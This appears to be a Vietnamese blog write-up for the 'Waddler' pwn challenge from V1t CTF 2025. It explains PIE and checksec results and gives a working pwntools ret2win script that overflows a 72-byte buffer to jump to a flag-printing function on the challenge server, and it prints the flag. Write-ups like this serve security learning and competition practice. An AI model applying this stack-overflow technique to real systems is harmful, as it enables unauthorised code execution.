Waddler

2025. 11. 4. 01:02·

Đề bài


Giải

Đầu tiên mình sẽ checksec xem PIE bật hay tắt

$ checksec ./chall
[*] '/mnt/d/Documents/CTF/2025 CTF/V1t CTF 2025/Pwn/Waddler/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Lý do mình checksec và kiểm tra PIE là vì PIE (Position-Independent Executable) cho biết mã của binary chính có bị random địa chỉ khi load hay không

Những điều có thể rút ra được khi check PIE:

 

  • PIE bật (ELF Type: DYN / “PIE enabled”)
    • Base address của binary random mỗi lần chạy (nhờ ASLR)
    • Mọi địa chỉ hàm/gadget trong binary = base + offset. Offset cố định, base thì không
    • Hệ quả khai thác: phải leak 1 địa chỉ (trong binary hoặc trong libc) → tính base → mới nhảy/ROP chính xác
    • Một leak duy nhất từ module nào thì chỉ xác định base của module đó (leak địa chỉ của libc → biết base libc; leak địa chỉ trong main → biết base main)
  • PIE tắt (ELF Type: EXEC / “No PIE”)
    • .text của binary cố định địa chỉ (vd ~0x401000 vùng 0x400000)
    • Bạn có thể hardcode địa chỉ hàm/gadget (ret2win, one-gadget…) mà không cần leak (giả sử không có canary/RELRO cản trở kỹ thuật khác)

Dựa trên những thông tin mình có được thì PIE đã tắt, vậy địa chỉ mình có và server có là cố định

Mình sẽ sử dụng IDA để leak địa chỉ

IDA

Đầu tiên mình sẽ xem hàm main làm gì

Hàm main gọi một hàm fgets, đây là nơi lý tưởng để ghi đè return address và nhảy vào hàm in ra flag

Sau đó mình tìm thấy hàm duck in ra flag như sau

Địa chỉ hàm duck là tại offset 0x40128C

 

Bước tiếp theo mình sẽ tạo payload để ghi đè return address của fgets trong main

Payload

from pwn import *

elf  = ELF('./chall')
HOST, PORT = 'chall.v1t.site', 30210

offset = 72
duck   = 0x40128c

payload = b'A'*offset + p64(duck)[:-1]

io = remote(HOST, PORT)
io.recvuntil(b'The Ducks are coming!\n')
io.send(payload)
io.send(b'\n')
print(io.recvall(timeout=2).decode(errors='ignore'))

Flag

Flag: v1t{w4ddl3r_3x1t5_4e4d6c332b6fe62a63afe56171fd3725}

'WriteUp > Pwn' 카테고리의 다른 글

Polygot - BuckeyeCTF 2025  (0) 2025.11.09
'WriteUp/Pwn' Other posts in category
  • Polygot - BuckeyeCTF 2025
longhd
longhd
Longhd's Blog
  • longhd
    Ha Duy Long - InfosecPTIT
    longhd
  • Total
    Today
    Yesterday
  • About me

    • Hello I'm Duy Long 👋🏻
    • View all categories (117) N
      • Certificates (4)
      • CTF (3)
      • WriteUp (94) N
        • Forensics (44) N
        • Steganography (5)
        • RE (9) N
        • OSINT (8)
        • Web (17)
        • MISC (6)
        • Crypto (3)
        • Pwn (2)
      • Love Story (0)
      • Labs (15)
        • Information Gathering (10)
        • Vulnerability Scanning (2)
        • Introduction to Web Applica.. (1)
        • Common Web Application Atta.. (1)
        • SQL Injection Attacks (1)
  • Blog Menu

    • Home
    • Tag
    • GuestBook
  • Popular Posts

  • Tags

    THM
    Steganography
    V1tCTF2025
    picoCTF
    POCCTF2025
    PTITCTF2025
    CTF
    CHH
    htb
    Web
    misc
    Forensics
    Re
    writeup
    Dreamhack
    EnigmaXplore3.0
    SunshineCTF2025
    CSCV2025
    OSINT
    BuckeyeCTF2025
  • Recent Comments

  • Recent Posts

  • hELLO· Designed ByLong.v4.10.4
longhd
Waddler
Go to Top

티스토리툴바